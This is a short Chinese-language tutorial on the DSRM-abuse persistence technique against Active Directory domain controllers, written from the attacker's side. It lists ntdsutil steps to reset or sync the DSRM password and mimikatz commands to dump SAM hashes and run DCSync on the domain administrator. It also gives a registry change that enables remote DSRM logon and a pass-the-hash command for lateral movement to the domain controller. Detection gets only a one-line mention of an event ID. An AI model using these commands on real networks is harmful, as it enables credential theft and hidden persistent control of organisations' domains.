【域权限维持】-DSRM Abuse

目录服务还原模式账户滥用

DSRM账户密码是安装DC的时候设置的，一般不会修改，该账户是域控的本地管理员账户，并非域的管理员帐户，存储在SAM文件中，所以DSRM密码同步之后并不会影响域的管理员帐户，另外，在下一次进行DSRM密码同步之前，NTLM Hash的值一直有效，且更改域内的administrator帐户，并不会影响DSRM帐户，持久化效果很好

1、首次配置DSRM是在安装域控制器时

2、使用ntdsutil重置DSRM账户的密码[域控上执行，建议直接用管理员权限的cmd]

ntdsutil
set dsrm password
#此处的null代表本机，其它机器需输入对应机器名
reset password on server null
连续输入两次新密码即可

3、读取域控制器上的SAM文件保存的hash

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

读取域控制器上域administrator用户的hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:byjb.com /user:administrator /csv" exit

4、新建注册表使DSRM账户可远程登录域控

要使用DSRM账户登录域控制器需满足以下注册表键值为2（该注册表键值默认不存在）需要有注册表键：HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior
该键值的类型的DWORD，共有以下几个选择
0：默认值，只有当域控制器重启并进入DSRM模式时，才可以使用DSRM管理员账号。
1：只有当本地AD、DS服务停止时，才可以使用DSRM管理员账号登录域控制器。
2：在任何情况下，都可以使用DSRM管理员账号登录域控制器。

5、域内成员机器使用mimikatz pth横向移动到域控，需先使用klist purge清理票据（避免受到干扰） 该命令会自动弹出一个cmd用于访问目标

mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:dc01 /user:administrator /ntlm:****"
dir /a \\dc01\c$

未配置注册表值为2时，显示用户名或密码不正确

配置成功后

6、修改DSRM的另一个方式，直接同步其他域账户的hash

ntdsutil
set dsrm password
sync from domain account admin

同步的hash是相同的

7、日志信息

Windows Event 4794

8、 操作注册表注册表的方式有很多，可以借助cmd,wmic,powershell等程序

注：此文章参考了很多的网络上的其他文章！！！